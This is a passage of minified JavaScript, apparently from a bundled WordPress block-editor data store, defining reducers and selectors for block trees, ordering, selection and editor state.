r)n.set(t.clientId,Object.assign(n.get(t.clientId),{...e.byClientId.get(t.clientId),attributes:e.attributes.get(t.clientId),innerBlocks:t.innerBlocks.map((e=>n.get(e.clientId)))}))}function qe(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const o=e.tree,r=new Set([]),l=new Set;for(const o of t){let t=n?o:e.parents.get(o);do{if(e.controlledInnerBlocks[t]){l.add(t);break}r.add(t),t=e.parents.get(t)}while(void 0!==t)}for(const e of r)o.set(e,{...o.get(e)});for(const t of r)o.get(t).innerBlocks=(e.order.get(t)||[]).map((e=>o.get(e)));for(const t of l)o.set("controlled||"+t,{innerBlocks:(e.order.get(t)||[]).map((e=>o.get(e)))})}const Ye=Object(Le.pipe)(i.combineReducers,(e=>(t,n)=>{if(t&&"SAVE_REUSABLE_BLOCK_SUCCESS"===n.type){const{id:e,updatedId:o}=n;if(e===o)return t;(t={...t}).attributes=new Map(t.attributes),t.attributes.forEach(((n,r)=>{const{name:l}=t.byClientId.get(r);"core/block"===l&&n.ref===e&&t.attributes.set(r,{...n,ref:o})}))}return e(t,n)}),(e=>function(){let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;const o=e(t,n);if(o===t)return t;switch(o.tree=t.tree?t.tree:new Map,n.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":o.tree=new Map(o.tree),Ke(o,n.blocks),qe(o,n.rootClientId?[n.rootClientId]:[""],!0);break;case"UPDATE_BLOCK":o.tree=new Map(o.tree),o.tree.set(n.clientId,{...o.tree.get(n.clientId),...o.byClientId.get(n.clientId),attributes:o.attributes.get(n.clientId)}),qe(o,[n.clientId],!1);break;case"UPDATE_BLOCK_ATTRIBUTES":o.tree=new Map(o.tree),n.clientIds.forEach((e=>{o.tree.set(e,{...o.tree.get(e),attributes:o.attributes.get(e)})})),qe(o,n.clientIds,!1);break;case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const e=function(e){const t={},n=[...e];for(;n.length;){const{innerBlocks:e,...o}=n.shift();n.push(...e),t[o.clientId]=!0}return t}(n.blocks);o.tree=new Map(o.tree),n.replacedClientIds.concat(n.replacedClientIds.filter((t=>!e[t])).map((e=>"controlled||"+e))).forEach((e=>{o.tree.delete(e)})),Ke(o,n.blocks),qe(o,n.blocks.map((e=>e.clientId)),!1);const r=[];for(const e of n.clientIds)void 0===t.parents.get(e)||""!==t.parents.get(e)&&!o.byClientId.get(t.parents.get(e))||r.push(t.parents.get(e));qe(o,r,!0);break}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":const e=[];for(const r of n.clientIds)void 0===t.parents.get(r)||""!==t.parents.get(r)&&!o.byClientId.get(t.parents.get(r))||e.push(t.parents.get(r));o.tree=new Map(o.tree),n.removedClientIds.concat(n.removedClientIds.map((e=>"controlled||"+e))).forEach((e=>{o.tree.delete(e)})),qe(o,e,!0);break;case"MOVE_BLOCKS_TO_POSITION":{const e=[];n.fromRootClientId?e.push(n.fromRootClientId):e.push(""),n.toRootClientId&&e.push(n.toRootClientId),o.tree=new Map(o.tree),qe(o,e,!0);break}case"MOVE_BLOCKS_UP":case"MOVE_BLOCKS_DOWN":{const e=[n.rootClientId?n.rootClientId:""];o.tree=new Map(o.tree),qe(o,e,!0);break}case"SAVE_REUSABLE_BLOCK_SUCCESS":{const e=[];o.attributes.forEach(((t,r)=>{"core/block"===o.byClientId.get(r).name&&t.ref===n.updatedId&&e.push(r)})),o.tree=new Map(o.tree),e.forEach((e=>{o.tree.set(e,{...o.byClientId.get(e),attributes:o.attributes.get(e),innerBlocks:o.tree.get(e).innerBlocks})})),qe(o,e,!1)}}return o}),(e=>(t,n)=>{const o=e=>{let o=e;for(let r=0;r<o.length;r++)!t.order.get(o[r])||n.keepControlledInnerBlocks&&n.keepControlledInnerBlocks[o[r]]||(o===e&&(o=[...o]),o.push(...t.order.get(o[r])));return o};if(t)switch(n.type){case"REMOVE_BLOCKS":n={...n,type:"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN",removedClientIds:o(n.clientIds)};break;case"REPLACE_BLOCKS":n={...n,type:"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN",replacedClientIds:o(n.clientIds)}}return e(t,n)}),(e=>(t,n)=>{if("REPLACE_INNER_BLOCKS"!==n.type)return e(t,n);const o={};if(Object.keys(t.controlledInnerBlocks).length){const e=[...n.blocks];for(;e.length;){const{innerBlocks:n,...r}=e.shift();e.push(...n),t.controlledInnerBlocks[r.clientId]&&(o[r.clientId]=!0)}}let r=t;t.order.get(n.rootClientId)&&(r=e(r,{type:"REMOVE_BLOCKS",keepControlledInnerBlocks:o,clientIds:t.order.get(n.rootClientId)}));let l=r;if(n.blocks.length){l=e(l,{...n,type:"INSERT_BLOCKS",index:0});const r=new Map(l.order);Object.keys(o).forEach((e=>{t.order.get(e)&&r.set(e,t.order.get(e))})),l.order=r,l.tree=new Map(l.tree),Object.keys(o).forEach((e=>{const n=`controlled||${e}`;t.tree.has(n)&&l.tree.set(n,t.tree.get(n))}))}return l}),(e=>(t,n)=>{if("RESET_BLOCKS"===n.type){const e={...t,byClientId:new Map($e(n.blocks)),attributes:new Map(Ue(n.blocks)),order:Ve(n.blocks),parents:new Map(He(n.blocks)),controlledInnerBlocks:{}};return e.tree=new Map(null==t?void 0:t.tree),Ke(e,n.blocks),e.tree.set("",{innerBlocks:n.blocks.map((t=>e.tree.get(t.clientId)))}),e}return e(t,n)}),(function(e){let t,n=!1;return(o,r)=>{let l=e(o,r);const c="MARK_LAST_CHANGE_AS_PERSISTENT"===r.type||n;if(o===l&&!c){var i;n="MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"===r.type;const e=null===(i=null==o?void 0:o.isPersistentChange)||void 0===i||i;return o.isPersistentChange===e?o:{...l,isPersistentChange:e}}return l={...l,isPersistentChange:c?!n:!We(r,t)},t=r,n="MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"===r.type,l}}),(function(e){const t=new Set(["RECEIVE_BLOCKS"]);return(n,o)=>{const r=e(n,o);return r!==n&&(r.isIgnoredChange=t.has(o.type)),r}}),(e=>(t,n)=>{if("SET_HAS_CONTROLLED_INNER_BLOCKS"===n.type){const o=e(t,{type:"REPLACE_INNER_BLOCKS",rootClientId:n.clientId,blocks:[]});return e(o,n)}return e(t,n)}))({byClientId(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:new Map,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":{const n=new Map(e);return $e(t.blocks).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"UPDATE_BLOCK":{if(!e.has(t.clientId))return e;const{attributes:n,...o}=t.updates;if(0===Object.values(o).length)return e;const r=new Map(e);return r.set(t.clientId,{...e.get(t.clientId),...o}),r}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),$e(t.blocks).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},attributes(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:new Map,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":{const n=new Map(e);return Ue(t.blocks).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"UPDATE_BLOCK":{if(!e.get(t.clientId)||!t.updates.attributes)return e;const n=new Map(e);return n.set(t.clientId,{...e.get(t.clientId),...t.updates.attributes}),n}case"UPDATE_BLOCK_ATTRIBUTES":{if(t.clientIds.every((t=>!e.get(t))))return e;let o=!1;const r=new Map(e);for(const l of t.clientIds){var n;const c=Object.entries(t.uniqueByBlock?t.attributes[l]:null!==(n=t.attributes)&&void 0!==n?n:{});if(0===c.length)continue;let i=!1;const a=e.get(l),s={};c.forEach((e=>{let[t,n]=e;a[t]!==n&&(i=!0,s[t]=n)})),o=o||i,i&&r.set(l,{...a,...s})}return o?r:e}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),Ue(t.blocks).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},order(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:new Map,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"RECEIVE_BLOCKS":{var n;const o=Ve(t.blocks),r=new Map(e);return o.forEach(((e,t)=>{""!==t&&r.set(t,e)})),r.set("",(null!==(n=e.get(""))&&void 0!==n?n:[]).concat(o[""])),r}case"INSERT_BLOCKS":{const{rootClientId:n=""}=t,o=e.get(n)||[],r=Ve(t.blocks,n),{index:l=o.length}=t,c=new Map(e);return r.forEach(((e,t)=>{c.set(t,e)})),c.set(n,Ae(o,r.get(n),l)),c}case"MOVE_BLOCKS_TO_POSITION":{var o,r;const{fromRootClientId:n="",toRootClientId:l="",clientIds:c}=t,{index:i=e.get(l).length}=t;if(n===l){const t=e.get(l).indexOf(c[0]),n=new Map(e);return n.set(l,De(e.get(l),t,i,c.length)),n}const a=new Map(e);return a.set(n,null!==(o=null===(r=e.get(n))||void 0===r?void 0:r.filter((e=>!c.includes(e))))&&void 0!==o?o:[]),a.set(l,Ae(e.get(l),c,i)),a}case"MOVE_BLOCKS_UP":{const{clientIds:n,rootClientId:o=""}=t,r=n[0],l=e.get(o);if(!l.length||r===l[0])return e;const c=l.indexOf(r),i=new Map(e);return i.set(o,De(l,c,c-1,n.length)),i}case"MOVE_BLOCKS_DOWN":{const{clientIds:n,rootClientId:o=""}=t,r=n[0],l=n[n.length-1],c=e.get(o);if(!c.length||l===c[c.length-1])return e;const i=c.indexOf(r),a=new Map(e);return a.set(o,De(c,i,i+1,n.length)),a}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const{clientIds:n}=t;if(!t.blocks)return e;const o=Ve(t.blocks),r=new Map(e);return t.replacedClientIds.forEach((e=>{r.delete(e)})),o.forEach(((e,t)=>{""!==t&&r.set(t,e)})),r.forEach(((e,t)=>{const l=Object.values(e).reduce(((e,t)=>t===n[0]?[...e,...o.get("")]:(-1===n.indexOf(t)&&e.push(t),e)),[]);r.set(t,l)})),r}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n.forEach(((e,o)=>{var r;const l=null!==(r=null==e?void 0:e.filter((e=>!t.removedClientIds.includes(e))))&&void 0!==r?r:[];l.length!==e.length&&n.set(o,l)})),n}}return e},parents(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:new Map,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"RECEIVE_BLOCKS":{const n=new Map(e);return He(t.blocks).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"INSERT_BLOCKS":{const n=new Map(e);return He(t.blocks,t.rootClientId||"").forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"MOVE_BLOCKS_TO_POSITION":{const n=new Map(e);return t.clientIds.forEach((e=>{n.set(e,t.toRootClientId||"")})),n}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),He(t.blocks,e.get(t.clientIds[0])).forEach((e=>{let[t,o]=e;n.set(t,o)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},controlledInnerBlocks(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},{type:t,clientId:n,hasControlledInnerBlocks:o}=arguments.length>1?arguments[1]:void 0;return"SET_HAS_CONTROLLED_INNER_BLOCKS"===t?{...e,[n]:o}:e}});function Qe(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"CLEAR_SELECTED_BLOCK":return e.clientId?{}:e;case"SELECT_BLOCK":return t.clientId===e.clientId?e:{clientId:t.clientId};case"REPLACE_INNER_BLOCKS":case"INSERT_BLOCKS":return t.updateSelection&&t.blocks.length?{clientId:t.blocks[0].clientId}:e;case"REMOVE_BLOCKS":return t.clientIds&&t.clientIds.length&&-1!==t.clientIds.indexOf(e.clientId)?{}:e;case"REPLACE_BLOCKS":{if(-1===t.clientIds.indexOf(e.clientId))return e;const n=t.blocks[t.indexToSelect]||t.blocks[t.blocks.length-1];return n?n.clientId===e.clientId?e:{clientId:n.clientId}:{}}}return e}var Xe=Object(i.combineReducers)({blocks:Ye,isTyping:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];switch((arguments.length>1?arguments[1]:void 0).type){case"START_TYPING":return!0;case"STOP_TYPING":return!1}return e},isBlockInterfaceHidden:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];switch((arguments.length>1?arguments[1]:void 0).type){case"HIDE_BLOCK_INTERFACE":return!0;case"SHOW_BLOCK_INTERFACE":return!1}return e},draggedBlocks:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"START_DRAGGING_BLOCKS":return t.clientIds;case"STOP_DRAGGING_BLOCKS":return[]}return e},selection:function(){var e,t,n,o;let r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},l=arguments.length>1?arguments[1]:void 0;switch(l.type){case"SELECTION_CHANGE":return l.clientId?{selectionStart:{clientId:l.clientId,attributeKey:l.attributeKey,offset:l.startOffset},selectionEnd:{clientId:l.clientId,attributeKey:l.attributeKey,offset:l.endOffset}}:{selectionStart:l.start||r.selectionStart,selectionEnd:l.end||r.selectionEnd};case"RESET_SELECTION":const{selectionStart:c,selectionEnd:i}=l;return{selectionStart:c,selectionEnd:i};case"MULTI_SELECT":const{start:a,end:s}=l;return a===(null===(e=r.selectionStart)||void 0===e?void 0:e.clientId)&&s===(null===(t=r.selectionEnd)||void 0===t?void 0:t.clientId)?r:{selectionStart:{clientId:a},selectionEnd:{clientId:s}};case"RESET_BLOCKS":const u=null==r||null===(n=r.selectionStart)||void 0===n?void 0:n.clientId,d=null==r||null===(o=r.selectionEnd)||void 0===o?void 0:o.clientId;if(!u&&!d)return r;if(!l.blocks.some((e=>e.clientId===u)))return{selectionStart:{},selectionEnd:{}};if(!l.blocks.some((e=>e.clientId===d)))return{...r,selectionEnd:r.selectionStart}}return{selectionStart:Qe(r.selectionStart,l),selectionEnd:Qe(r.selectionEnd,l)}},isMultiSelecting:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];switch((arguments.length>1?arguments[1]:void 0).type){case"START_MULTI_SELECT":return!0;case"STOP_MULTI_SELECT":return!1}return e},isSelectionEnabled:function(){let e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t=arguments.length>1?arguments[1]:void 0;return"TOGGLE_SELECTION"===t.type?t.isSelectionEnabled:e},initialPosition:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;return"REPLACE_BLOCKS"===t.type&&void 0!==t.initialPosition||["MULTI_SELECT","SELECT_BLOCK","RESET_SELECTION","INSERT_BLOCKS","REPLACE_INNER_BLOCKS"].includes(t.type)?t.initialPosition:e},blocksMode:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;if("TOGGLE_BLOCK_MODE"===t.type){const{clientId:n}=t;return{...e,[n]:e[n]&&"html"===e[n]?"visual":"html"}}return e},blockListSettings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"REPLACE_BLOCKS":case"REMOVE_BLOCKS":return Object.fromEntries(Object.entries(e).filter((e=>{let[n]=e;return!t.clientIds.includes(n)})));case"UPDATE_BLOCK_LIST_SETTINGS":{const{clientId:n}=t;if(!t.settings){if(e.hasOwnProperty(n)){const{[n]:t,...o}=e;return o}return e}return Pe()(e[n],t.settings)?e:{...e,[n]:t.settings}}}return e},insertionPoint:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SHOW_INSERTION_POINT":const{rootClientId:n,index:o,__unstableWithInserter:r,operation:l,kubioInsertionEdge:c}=t,i={rootClientId:n,index:o,__unstableWithInserter:r,operation:l,kubioInsertionEdge:c};return Pe()(e,i)?e:i;case"HIDE_INSERTION_POINT":return null}return e},template:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{isValid:!0},t=arguments.length>1?arguments[1]:void 0;return"SET_TEMPLATE_VALIDITY"===t.type?{...e,isValid:t.isValid}:e},settings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Fe.b,t=arguments.length>1?arguments[1]:void 0;return"UPDATE_SETTINGS"===t.type?{...e,...t.settings}:e},preferences:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Fe.a,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"INSERT_BLOCKS":case"REPLACE_BLOCKS":return t.blocks.reduce(((e,n)=>{const{attributes:o,name:r}=n,l=Object(i.select)(u.store).getActiveBlockVariation(r,o);let c=null!=l&&l.name?`${r}/${l.name}`:r;const a={name:c};return"core/block"===r&&(a.ref=o.ref,c+="/"+o.ref),{...e,insertUsage:{...e.insertUsage,[c]:{time:t.time,count:e.insertUsage[c]?e.insertUsage[c].count+1:1,insert:a}}}}),e)}return e},lastBlockAttributesChange:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"UPDATE_BLOCK":if(!t.updates.attributes)break;return{[t.clientId]:t.updates.attributes};case"UPDATE_BLOCK_ATTRIBUTES":return t.clientIds.reduce(((e,n)=>({...e,[n]:t.uniqueByBlock?t.attributes[n]:t.attributes})),{})}return e},editorMode:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"edit",t=arguments.length>1?arguments[1]:void 0;return"INSERT_BLOCKS"===t.type&&"navigation"===e?"edit":"SET_EDITOR_MODE"===t.type?t.mode:e},hasBlockMovingClientId:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;return"SET_BLOCK_MOVING_MODE"===t.type?t.hasBlockMovingClientId:"SET_EDITOR_MODE"===t.type?null:e},automaticChangeStatus:function(e,t){switch(t.type){case"MARK_AUTOMATIC_CHANGE":return"pending";case"MARK_AUTOMATIC_CHANGE_FINAL":return"pending"===e?"final":void 0;case"SELECTION_CHANGE":return"final"!==e?e:void 0;case"SET_BLOCK_VISIBILITY":case"START_TYPING":case"STOP_TYPING":case"UPDATE_BLOCK_LIST_SETTINGS":return e}},highlightedBlock:function(e,t){switch(t.type){case"TOGGLE_BLOCK_HIGHLIGHT":const{clientId:n,isHighlighted:o}=t;return o?n:e===n?null:e;case"SELECT_BLOCK":if(t.clientId!==e)return null}return e},lastBlockInserted:function(){var e;let t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=arguments.length>1?arguments[1]:void 0;switch(n.type){case"INSERT_BLOCKS":case"REPLACE_BLOCKS":case"REPLACE_INNER_BLOCKS":return n.blocks.length?{clientIds:n.blocks.map((e=>e.clientId)),source:null===(e=n.meta)||void 0===e?void 0:e.source}:t;case"RESET_BLOCKS":return{}}return t},temporarilyEditingAsBlocks:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=arguments.length>1?arguments[1]:void 0;return"SET_TEMPORARILY_EDITING_AS_BLOCKS"===t.type?t.temporarilyEditingAsBlocks:e},blockVisibility:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return"SET_BLOCK_VISIBILITY"===t.type?{...e,...t.updates}:e},lastBlockRemoved:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"RESET_BLOCKS":return{clientIds:[]};case"INSERT_BLOCKS":case"RECEIVE_BLOCKS":if(!t.blocks.length)return e;const n=t.blocks.filter((t=>-1!==(e.clientIds||[]).indexOf(t.clientId)));return{clientIds:Object(Re.difference)(e.clientIds||[],n)};case"REMOVE_BLOCKS":return t.clientIds.length?{clientIds:null==t?void 0:t.clientIds}:e}return e}}),Ze=n(52),Je=n(23),et=n(5),tt=Object(g.createElement)(et.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(g.createElement)(et.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})),nt=n(176);const ot=[];function rt(e,t){const n=e.blocks.byClientId.get(t),o="core/social-link";if("web"!==g.Platform.OS&&(null==n?void 0:n.name)===o){const n=e.blocks.attributes.get(t),{service:r}=null!=n?n:{};return r?`${o}-${r}`:o}return n?n.name:null}function lt(e,t){const n=e.blocks.byClientId.get(t);return!!n&&n.isValid}function ct(e,t){return e.blocks.byClientId.get(t)?e.blocks.attributes.get(t):null}function it(e,t){return e.blocks.byClientId.has(t)?e.blocks.tree.get(t):null}const at=Object(Ze.a)(((e,t)=>e.blocks.byClientId.has(t)?{...e.blocks.byClientId.get(t),attributes:ct(e,t)}:null),((e,t)=>[e.blocks.byClientId.get(t),e.blocks.attributes.get(t)]));function st(e,t){var n;const o=t&&lo(e,t)?"controlled||"+t:t||"";return(null===(n=e.blocks.tree.get(o))||void 0===n?void 0:n.innerBlocks)||ot}const ut=Object(Ze.a)(((e,t)=>({clientId:t,innerBlocks:dt(e,t)})),(e=>[e.blocks.order])),dt=Object(Ze.a)((function(e){return Xt(e,arguments.length>1&&void 0!==arguments[1]?arguments[1]:"").map((t=>ut(e,t)))}),(e=>[e.blocks.order])),bt=Object(Ze.a)(((e,t)=>{const n=[];for(const o of t)for(const t of Xt(e,o))n.push(t,...bt(e,[t]));return n}),(e=>[e.blocks.order])),pt=Object(Ze.a)((e=>{const t=[];for(const n of Xt(e))t.push(n,...bt(e,[n]));return t}),(e=>[e.blocks.order])),mt=Object(Ze.a)(((e,t)=>{const n=pt(e);return t?n.reduce(((n,o)=>e.blocks.byClientId.get(o).name===t?n+1:n),0):n.length}),(e=>[e.blocks.order,e.blocks.byClientId])),ft=Object(Ze.a)(((e,t)=>{if(!t)return ot;const n=pt(e).filter((n=>e.blocks.byClientId.get(n).name===t));return n.length>0?n:ot}),(e=>[e.blocks.order,e.blocks.byClientId])),gt=Object(Ze.a)(((e,t)=>(Array.isArray(t)?t:[t]).map((t=>it(e,t)))),((e,t)=>(Array.isArray(t)?t:[t]).map((t=>e.blocks.tree.get(t))))),ht=Object(Ze.a)(((e,t)=>gt(e,t).filter(Boolean).map((e=>e.name))),((e,t)=>gt(e,t)));function vt(e,t){return Xt(e,t).length}function Ot(e){return e.selection.selectionStart}function kt(e){return e.selection.selectionEnd}function jt(e){return e.selection.selectionStart.clientId}function _t(e){return e.selection.selectionEnd.clientId}function yt(e){return At(e).length||(e.selection.selectionStart.clientId?1:0)}function Et(e){const{selectionStart:t,selectionEnd:n}=e.selection;return!!t.clientId&&t.clientId===n.clientId}function St(e){const{selectionStart:t,selectionEnd:n}=e.selection,{clientId:o}=t;return o&&o===n.clientId?o:null}function Ct(e){const t=St(e);return t?it(e,t):null}function wt(e,t){return e.blocks.parents.has(t)?e.blocks.parents.get(t):null}const Bt=Object(Ze.a)((function(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];const o=[];let r=Object(Re.castArray)(t)[0];for(;e.blocks.parents.get(r);)r=e.blocks.parents.get(r),o.push(r);return n?o:o.reverse()}),(e=>[e.blocks.parents])),It=Object(Ze.a)((function(e,t,n){return Bt(e,t,arguments.length>3&&void 0!==arguments[3]&&arguments[3]).map((t=>({id:t,name:rt(e,t)}))).filter((e=>{let{name:t}=e;return Array.isArray(n)?n.includes(t):t===n})).map((e=>{let{id:t}=e;return t}))}),(e=>[e.blocks.parents]));function xt(e,t){let n,o=t;do{n=o,o=e.blocks.parents.get(o)}while(o);return n}function Tt(e,t){const n=St(e),o=[...Bt(e,t),t],r=[...Bt(e,n),n];let l;const c=Math.min(o.length,r.length);for(let e=0;e<c&&o[e]===r[e];e++)l=o[e];return l}function Nt(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1;if(void 0===t&&(t=St(e)),void 0===t&&(t=n<0?Ft(e):zt(e)),!t)return null;const o=wt(e,t);if(null===o)return null;const{order:r}=e.blocks,l=r.get(o),c=l.indexOf(t)+1*n;return c<0||c===l.length?null:l[c]}function Mt(e,t){return Nt(e,t,-1)}function Pt(e,t){return Nt(e,t,1)}function Lt(e){return e.initialPosition}const Rt=Object(Ze.a)((e=>{const{selectionStart:t,selectionEnd:n}=e.selection;if(!t.clientId||!n.clientId)return ot;if(t.clientId===n.clientId)return[t.clientId];const o=wt(e,t.clientId);if(null===o)return ot;const r=Xt(e,o),l=r.indexOf(t.clientId),c=r.indexOf(n.clientId);return l>c?r.slice(c,l+1):r.slice(l,c+1)}),(e=>[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function At(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?ot:Rt(e)}const Dt=Object(Ze.a)((e=>{const t=At(e);return t.length?t.map((t=>it(e,t))):ot}),(e=>[...Rt.getDependants(e),e.blocks.byClientId,e.blocks.order,e.blocks.attributes]));function Ft(e){return At(e)[0]||null}function zt(e){const t=At(e);return t[t.length-1]||null}function Vt(e,t){return Ft(e)===t}function Ht(e,t){return-1!==At(e).indexOf(t)}const Gt=Object(Ze.a)(((e,t)=>{let n=t,o=!1;for(;n&&!o;)n=wt(e,n),o=Ht(e,n);return o}),(e=>[e.blocks.order,e.selection.selectionStart.clientId,e.selection.selectionEnd.clientId]));function $t(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:t.clientId||null}function Ut(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId===n.clientId?null:n.clientId||null}function Wt(e){const t=Ot(e),n=kt(e);return!t.attributeKey&&!n.attributeKey&&void 0===t.offset&&void 0===n.offset}function Kt(e){const t=Ot(e),n=kt(e);return!!t&&!!n&&t.clientId===n.clientId&&t.attributeKey===n.attributeKey&&t.offset===n.offset}function qt(e){return Rt(e).some((t=>{const n=rt(e,t);return!Object(u.getBlockType)(n).merge}))}function Yt(e,t){const n=Ot(e),o=kt(e);if(n.clientId===o.clientId)return!1;if(!n.attributeKey||!o.attributeKey||void 0===n.offset||void 0===o.offset)return!1;const r=wt(e,n.clientId);if(r!==wt(e,o.clientId))return!1;const l=Xt(e,r);let c,i;l.indexOf(n.clientId)>l.indexOf(o.clientId)?(c=o,i=n):(c=n,i=o);const a=t?i.clientId:c.clientId,s=t?c.clientId:i.clientId,d=rt(e,a);if(!Object(u.getBlockType)(d).merge)return!1;const b=it(e,s);if(b.name===d)return!0;const p=Object(u.switchToBlockType)(b,d);return p&&p.length}const Qt=e=>{const t=Ot(e),n=kt(e);if(t.clientId===n.clientId)return ot;if(!t.attributeKey||!n.attributeKey||void 0===t.offset||void 0===n.offset)return ot;const o=wt(e,t.clientId);if(o!==wt(e,n.clientId))return ot;const r=Xt(e,o),l=r.indexOf(t.clientId),c=r.indexOf(n.clientId),[i,a]=l>c?[n,t]:[t,n],s=it(e,i.clientId),d=Object(u.getBlockType)(s.name),b=it(e,a.clientId),p=Object(u.getBlockType)(b.name),f=s.attributes[i.attributeKey],g=b.attributes[a.attributeKey],h=d.attributes[i.attributeKey],v=p.attributes[a.attributeKey];let O=Object(m.create)({html:f,...j(h)}),k=Object(m.create)({html:g,...j(v)});return O=Object(m.remove)(O,0,i.offset),k=Object(m.remove)(k,a.offset,k.text.length),[{...s,attributes:{...s.attributes,[i.attributeKey]:Object(m.toHTMLString)({value:O,...j(h)})}},{...b,attributes:{...b.attributes,[a.attributeKey]:Object(m.toHTMLString)({value:k,...j(v)})}}]};function Xt(e,t){return e.blocks.order.get(t||"")||ot}function Zt(e,t){return Xt(e,wt(e,t)).indexOf(t)}function Jt(e,t){const{selectionStart:n,selectionEnd:o}=e.selection;return n.clientId===o.clientId&&n.clientId===t}function en(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return Xt(e,t).some((t=>Jt(e,t)||Ht(e,t)||n&&en(e,t,n)))}function tn(e,t){if(!t)return!1;const n=At(e),o=n.indexOf(t);return o>-1&&o<n.length-1}function nn(e){const{selectionStart:t,selectionEnd:n}=e.selection;return t.clientId!==n.clientId}function on(e){return e.isMultiSelecting}function rn(e){return e.isSelectionEnabled}function ln(e,t){return e.blocksMode[t]||"visual"}function cn(e){return e.isTyping}function 